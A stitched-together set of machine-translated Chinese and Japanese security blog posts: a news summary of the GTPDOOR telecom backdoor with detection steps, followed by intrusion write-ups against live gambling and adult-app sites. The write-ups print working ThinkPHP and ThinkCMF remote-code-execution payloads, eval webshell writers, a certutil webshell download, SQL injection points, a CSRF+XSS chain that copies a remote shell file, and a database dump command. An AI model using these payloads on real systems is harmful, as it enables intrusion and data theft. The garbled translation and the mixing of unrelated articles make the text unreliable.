由於SGSN、GGSN和P-GW網絡更多地暴露在公眾面前,IP地址範圍列在公開文件中,研究人員認為它們可能是獲得移動運營商網絡初始訪問權限的目標。

tweet.webp.jpg

安全研究人員解釋說,GTPDOOR 很可能是屬於“LightBasin”威脅組織(UNC1945) 的工具,該組織因專注於全球多家電信公司的情報收集而臭名昭著。

研究人員發現了2023 年底上傳到VirusTotal 的兩個版本的後門,這兩個版本基本上都沒有被防病毒引擎檢測到。這些二進製文件針對的是非常舊的Red Hat Linux 版本,表明目標已經過時。

samples.webp.jpg

隱秘的GTPDOOR 操作GTPDOOR 是一種專為電信網絡量身定制的複雜後門惡意軟件,利用GPRS 隧道協議控制平面(GTP-C) 進行隱蔽命令和控制(C2) 通信。它用於部署在與GRX 相鄰的基於Linux 的系統中,負責路由和轉發漫遊相關的信令和用戶平面流量。

使用GTP-C 進行通信允許GTPDOOR 與合法網絡流量混合,並利用不受標準安全解決方案監控的已允許端口。為了提高隱蔽性,GTPDOOR 可以更改其進程名稱以模仿合法的系統進程。

該惡意軟件偵聽特定的GTP-C 回顯請求消息(“魔術數據包”)以喚醒並在主機上執行給定的命令,將輸出發送回其操作員。

packet.webp.jpg

惡意數據包結構

GTP 數據包的內容使用簡單的XOR 密碼進行身份驗證和加密,確保只有授權的操作員才能控制惡意軟件。

GTPDOOR v1 支持在被破壞的主機上執行以下操作:

马云惹不起马云設置用於C2 通信的新加密密鑰

马云惹不起马云將任意數據寫入名為“system.conf”的本地文件

马云惹不起马云執行任意shell命令並發送回輸出

GTPDOOR v2 支持上述操作以及以下操作:

马云惹不起马云指定允許通過訪問控制列表(ACL) 機制與受感染主機通信的IP 地址或子網

马云惹不起马云檢索ACL列表,對後門的網絡權限進行動態調整

马云惹不起马云清除ACL 以重置惡意軟件

安全研究人員還強調了該惡意軟件能夠從外部網絡秘密探測,通過任何端口傳遞的TCP 數據包引發響應。

attack-overview.webp.jpg

GTPDOOR 攻擊概述

檢測與防禦檢測策略包括監視異常的原始套接字活動、意外的進程名稱以及特定的惡意軟件指示器(例如重複的系統日誌進程)。

推薦的檢測步驟如下:

1.使用lsof 檢查打開的原始套接字,表明存在潛在的漏洞。

2.使用netstat -lp --raw 查找異常的監聽套接字。

3.識別具有異常PPID 的模仿內核線程的進程。

4.搜索/var/run/daemon.pid,這是GTPDOOR 使用的互斥文件。

5.查找可能由惡意軟件創建的意外system.conf 文件。

PID.webp.jpg

PID異常

還提供了以下供防御者檢測GTPDOOR 惡意軟件的YARA 規則。

YARA.webp.jpg

最後,安全研究人員提出了防禦措施,如設置嚴格規則並自覺遵守GSMA 安全指南,利用GTP 防火牆,阻止或過濾掉惡意數據包和連接。

0x00はじめに

違法なほうれん草の激しさがあり、無数の妻と子供が分離されています。この目的のために、私は「関連する部門」に何らかの助けを提供したいと考えて、わずかな努力に貢献しました。私が今日あなたのために演奏するのは、BC Tianheng Shengdaの収穫です。

0x01プログラムはじめに

プログラムは、php5.4 + mysqlプログラム構造を採用しています。

图片

基本的に、現在そのような違法サイトを行っている犯罪者は、アウトソーシングに加えて、いくつかのプログラムモデルセットを変更しました。とりあえず、技術レベルの問題のために、Tianhengは発行することしかできません。バージョンは少し古い場合があります。ただし、その大部分が使用されています。 4月中旬に自分の名前を開示したくないネチズンによる実際のテストによると、これらの問題の約70%が存在しましたが、このプログラムを使用している違法サイトは30分で約5,000〜20,000元を収集しました。

0x02脆弱性の詳細

1。お金-SQLインジェクション

web \ wjaction \ default \ payonlineback.class.php

图片

お金をフォローアップし続けてください、ここで取得する必要があります、そして条件を見てください

图片

条件表示、最初のものは重要な検証です。これは構成ファイルにあります。キーが間違っている場合、それはすべての注文が有効になることができないことを意味します。言い換えれば、キーは間違いなくURL要求内にあり、この検証はバイパスできます。

图片

条件を見続けます。ここで、検証のためにMD5値を生成することです。ただし、この検証には欠陥があり、キーの価値はここには含まれていません。したがって、直接送信するときは、$ tno。$ payno。$ money feldに設定します。次に、MD5値のMD5Keyを取得します。 $サインをURLに表示できるためです。復号化後、スクリプトを書き、その検証メカニズムに従ってそれらを挿入できます。

图片

読み続けてください、ただランダムに来てください。

图片

最後の検証である読み続けてください。ここのユーザー名は本物である必要があるため、ここでの検証は無効であると見なされます。

图片

次に、以前の分析によると、注入できます。最も重要な点は、MD5Keyの値を推測することです。

2。注文情報- ストレージXSS

注文情報- ユーザー名

图片

デフォルトの支払いがフォームを提出する場合、フロントデスクとバックエンドはフィルタリングされず、XSSストレージの脆弱性を引き起こします。

3.バックグラウンドに検証なし-GetShell

lib/classes/googlechart/markers/googlechartmapmarker.php

图片

ランダムコードの実行の脆弱性であるGoogle変数は、GETでデータを取得し、それを実行します。比較的低レベルの問題については、コードパーツを書くことはありません。 (この脆弱性は効率的ではなく、約30%の確率です)

0x03要約

このソースコードのセットは、これらのいくつかの穴だけではなく、自分で掘る練習をすることができます。第二に、私はもともと、それらを含めなかった違法なサイトツールをリリースして収集することを考えていましたが、後に「他の」警備員が迷い込むことを避けるためにそれについて考えました。私はまだ水文学の記事を持っています、私は皆さんがもっとアドバイスを持っていることを願っています!

元のリンクから転載:https://mp.weixin.qq.com/s/7r3orgpmuesdz4ykuxojjw

1。ディレクトリ構造

まず、構造を見てみましょう。システムフォルダーに関連するコードがあります。抜け穴を直接見せます。

图片

2。監査穴

1。ショッピングカートは非同期に情報を取得します-SQLインジェクション

System \ modules \ member \ cart.action.php

图片

単一の引用符をフィルタリングしますが、ここでは単一の引用によって保護されていないため、ここでは注入であり、ユーザーのIDは検証されていません。注入は、サイトの外にログインすることなく実行できます。

图片

图片

直接公式ウェブサイトハハハハ!

2。BOMプラグインダイレクトリー

システム/プラグイン/bom/bom.plugin.php

图片

直接アクセスするだけです。背景が変更されたとしても、それには何の問題もありません。まだちょうどいいです!

图片

3。私の注文貯蔵XSS(管理者Cookieを呼び出すことができます)

この一連のCMSが以前に発表されて以来、多くのXiaoheiは以前にXSSの脆弱性を発見しましたが、私のXSSは0Dayのようです。ははは、注文関数を投稿する必要があります。ここでは、最初にそれを通過するプロセスを示します。

图片

写真を追加します

图片

画像アドレスをXSSステートメントに変更します

图片

fileurl_tmpパラメーター

图片

現時点では、IMGタグが閉じられ、1つがポップアップします(バックグラウンドで管理されている「Order View」をトリガーします)

图片

4. Configuration-Backend GetShellをアップロードします

一部の人々は、バックグラウンドにアップロードがあることを見るかもしれませんが、実際、これらのアップロードは使用できません。背景のホワイトリストのフォーマットを変更することはできますが、それでも言及することはできません。現時点で.ただ参加してください! ~~

图片

単一の引用符をフィルターするため、ここには単一の引用符はありません。

图片

許可されたアップロードタイプでpyloadを書き込みます

图片

それは送信後に行われます~~コピー機能を通して遠隔馬を書く

图片

5.バックグラウンド検証コードには欠陥があります

图片

デフォルトのアカウントAdminこの文字列のMD5値は、対応する検証コード値であり、ブラストのためにここでインターフェイスを呼び出すことができます。また、小さな欠陥でもあります

6。パンチGETSHELL-CSRF+XSSのコンビネーション

XSSを直接使用してHTMLページをネストし、すべての操作をシミュレートします。それは完了です。アップロード形式の変更から始めて、アクセスをシミュレートするために馬を挿入する

[/index.php/admin/setting/upload?c=copy('http://www.xxx.com/shell.txt','./inc.php ');

いくつかの列を押して、それを成し遂げます。本当に心配しない場合は、最終的に管理者を追加してください。

このCMSのセットはCSRF攻撃をフィルタリングせず、スクリーンショットを採用しません。私のいとこの姿勢は私よりもセクシーです。おお、 hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahah ahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahaha

元のリンクから転載:https://mp.weixin.qq.com/s/8otu9yq3pxj6k2qpbeznra

私は誤ってThinkPhpのほうれん草のサイトを発見しました。最近TPに抜け穴はありませんでしたか?

それから私はそれをさりげなくテストしましたが、プロセスはそれほどスムーズではありませんでしたが、ついに勝ちましたので、私は自分のアイデアを共有するためにこの記事を投稿しました。

0x00ワンクリックゲッシェル

短い見方の後、多くの人がプレイするはずですよね?

1049983-20240105093324133-383409570.png数日前、私はテストツールを書き、最初にテストするためにそれを取り出しました。

このツールは脆弱性を示しています

1049983-20240105093335090-2095780538.pngワンクリックゲッシェル、非常に滑らかに見えます、ハハ。

1049983-20240105093335989-559902528.pngしかし. Xiao Mingは髪を振って、物事が単純ではないことを発見しました。

1049983-20240105093336787-674964719.png包丁が接続されている場合、500のエラーが返されます。

1049983-20240105093337570-1853999192.png FirefoxのHackbarを使用して確認しました。それには何の問題もないので、なぜ包丁をつなげることができないのですか?

ケチな人として、私は深い考えに陥らざるを得ませんでした.

1049983-20240105093338367-558319976.png

0x01開始分析

私はこのツールを自分で書いたので、上記の写真から3番目の経験が呼ばれていることを発見したので、それを分析して見てみましょう。

次のようにPOC

/?s=index/\ think \ app/invokefunctionfunction=call_user_func_arrayvars [0]=systemvars [1] []=dir

POCの後にWhoamiを入力して、権限を確認しましょう。

/?s=index/\ think \ app/invokeFunctionFunction=call_user_func_arrayvars [0]=systemvars [1] []=whoami

IIS許可

ただし、Echo Dirなど、一部のコマンドを実行できます。

1049983-20240105093339418-1872353037.png

0x02シェルを突破してみてください

エコーを実行できるので、ポニーを書くことができます。それが成功した場合、私たちはポニーを使用してポニーをアップロードしてそれを行い、それを言うとすぐにそれを行います。大変な作業が来たら、列に並んで書かなければなりません。

注:コードのシンボルは^^で逃げる必要があります。たとえば、PHPは^^?phpに逃げました

1049983-20240105093340495-1537021683.png行ごとの執筆が完了した後、アクセスするときに正常に実行できないことがわかりました。ここでスクリーンショットを撮るのを忘れました。

次に、次の方法を使用してファイルをサーバーにダウンロードしようとしましたが、失敗しました。

1049983-20240105093351352-1328543067.png私があきらめようとしていたとき、私はまだ役に立たないダウンロードコマンドがあったことを思い出しました。

それはcertutil.exeです

それを行うだけで、マレーシアをサーバーに置き、HFSを有効にしてください。

次に、次のコマンドを実行します。

1049983-20240105093352245-99523761.pngはマレーシアに成功しましたが、あまりにも早く幸せにならないでください。

1049983-20240105093353277-1543002363.png Xiao Mingは再び髪を振って、物事がさらに難しいことを発見しました.

1049983-20240105093354070-918181612.pngマレーシアはファイルのアップロードを操作して名前を変更するなどしますが、ファイルを編集できず、ファイルソースコードなどを表示できません。クリックして空白スペースを表示します。

1049983-20240105093354903-784253893.pngそうなので、データベースに行き、見てみましょう。

TPのデータベース構成ファイルが次の場所にあることは誰もが知っています

/application/database.php

マレーシアを開くことができないため、TPコマンドを使用して脆弱性を実行し、Typeコマンドを使用してこのファイルを読み取ることができます。

/?s=index/think\app/invokefunctionfunction=call_user_func_arrayvars [0]=systemvars [1]

読み取りの試みは失敗し、コピーコマンドが頭に浮かぶようになりました。

database.phpをWebルートディレクトリにコピーし、名前を1.txtに変更します

/?s=index/think\app/invokefunctionfunction=call_user_func_arrayvars [0]=systemvars [1]]

コピーした後、URL/1.TXTにアクセスして、それが空であることがわかります。

0x03成功したブレークスルー

一連の障害を経験した後、私は落ち着いて考えました。また、File_Pathを使用してソースコードを読み取ることもできます。

1049983-20240105093405723-1104995441.png DAMAを使用して、このファイルをルートディレクトリにアップロードしてからアクセスし、データベース構成情報を正常に取得します。

1049983-20240105093407641-1694905724.png次に、構成情報を入力してデータベースを入力します。

1049983-20240105093408996-20299154.png 1049983-20240105093415084-497983513.pngこの記事が書かれた夜遅くすでにありました。私はテーブルの上でインスタント麺の半分を食べたインスタント麺を見て、最後に2杯のスープを飲み、電話をオフにして寝ました.

元のリンクから転載:https://www.jiansshu.com/p/1f9b02780f1c

晴れた夜、私はTwitterで歩くことに興奮していましたが、突然、次の推奨フォローはXXXXビデオの名刺であることがわかりました。

图片これ、これ、これ、これ、私は真面目な人です、Twitterがこれらを私にプッシュした理由はわかりません。これを実行し、プロモーションリンクを開き、アプリをダウンロードする必要があります。

图片

このアプリは、開くとすぐに馴染みのある臭いを人々に与えます。 TP Twoによって開かれた可能性が高いようです。

图片

携帯電話番号、フィドラーを登録してパッケージをキャッチして変更しますが、コンテンツは実際には目を引くものです

图片

私はパケットを捕まえてURLを取得しましたが、これが単にthinkcmfであることがわかりましたか?私は微笑んで微笑んで、私はそれを脱ぐことはなかっただろうと思った。フロントデスクには非常に多くのRCEがありました。たとえ犬がいたとしても、私は数秒でそれをすることができました。しかし、私はすぐに現実に顔を平手打ちしました。

poc:payload1を実行:

/index.php?g=apim=oautha=fetchcontent=phpfile_put_contents('pass.php'、 '?php @eval($ _ post [1]);')/Php 图片

Payload2:

/?a=fetch;templatefile=public/indexprefix=''content=phpfile_put_contents('pass.php','?php@eval($_post [1]); ')/php 图片

Payload3:

?a=displaytemplatefile=%3c?php%20file_put_contents(%27mmphp%27、%27%3c%3fphp+eval($ _ post _ post [%22x%22])%3b%3f%3e%27); die();

/?a=displaytemplatefile=data/runtime/logs/portal/yy_mm_dd.log最後に、M.Phpの1文字のトロイの木馬ファイルがディレクトリで生成され、もちろん他のペイロードとしても記述できます。

图片

操作はトラと同じくらい激しいです。ファイル404を見ると、寒いでしょうか?

图片

さらに、このアプリにはSQLインジェクション:インジェクションポイントもあります。

/index.php?g=appapim=videovideoid=1 图片

注入ポイント2:

/index.php?g=appapim=autha=indexuid=1288889TOKEN=B69CDA34DFF2FA978A94B5583E7F5C9A 图片

图片

注入もクールです。 0日のリズムを取り出してほしいと思われますか?それを忘れて、耐えましょう。いくつかの調査の後、詳細は投稿されず、ここでは千の単語が省略されます。あなたがあまりにも多くのことを言ったら、それはすべて涙です.最後に、Phpinfoがリリースされ、ペイロードはバージョン7.2の上にあります。

/?a=fetchContent=?=phpinfo(); exit();これはシェルに近いステップではなく、disable_functionsが非常に多く無効になっていることがわかります。

图片

私はここでアサート関数を使用して書くことを試みました、そしてそれが行われたと思いましたが、結果はまだ返されました1

图片

@Assert関数は機能しません。ここでは、file_get_contentsを読み取り、データベース構成ファイルを読み取ることができます

图片

config.phpファイルを読み続けたとき、アプリをダウンロードしたときにAlibaba Cloud OSSに配置されたことを突然思い出しました。その構成ファイルにはAlibaba CloudキーとIDが必要であることは論理的ですが、結局のところ現実は非常に残酷であるため、Aliyunの文字さえ見ませんでした。

图片

一部の構成ファイルで読み取るものは何もなく、データベースとRedisを外部で接続することはできません。そこで、シェルを書いて注意深く裏返し、file_put_contentsを使用してファイルを読み取ることを試みます。

图片

不可能だと思われます。パラメーターの問題が原因ですか? file_get_contentsは任意のファイルを読み取ることができますか、それともディレクトリを書き込むことができませんか? /tmp/1.txtで書き込もうとすると、同じエラーも報告されました。 PHPはファイルを書き込むために他の機能も必要だと思ったので、w3schoolはひっくり返しました

图片

123をi.txtに書き込み、ファイルを正常に書き込みます

图片

图片

PHPに文を書くようにしてください、そして、それはテンプレートが存在しないことを促します。どうすればいいですか?シェルが取得されたことがわかりました。 FWRITEパラメーターを注意深くご覧ください。 W+は書き込みを開くことで、R+は追加します。 1つのキャラクターを1つずつ書きたいですか?そうです、それはただ一人のキャラクターを1人のキャラクターに書くことです。a=fetchContent=%3c?=@$ fp=fopen(%221.php%22、%27a+%27);%20fwrite($ fp、%27%27); exit();图片

最後にゲルシェル

图片

バイパスコマンドの実行とリバウンドシェル

图片

次に、パック +ズボンを脱ぎます

mysqldump -h127.0.0.1 -uxxxx -p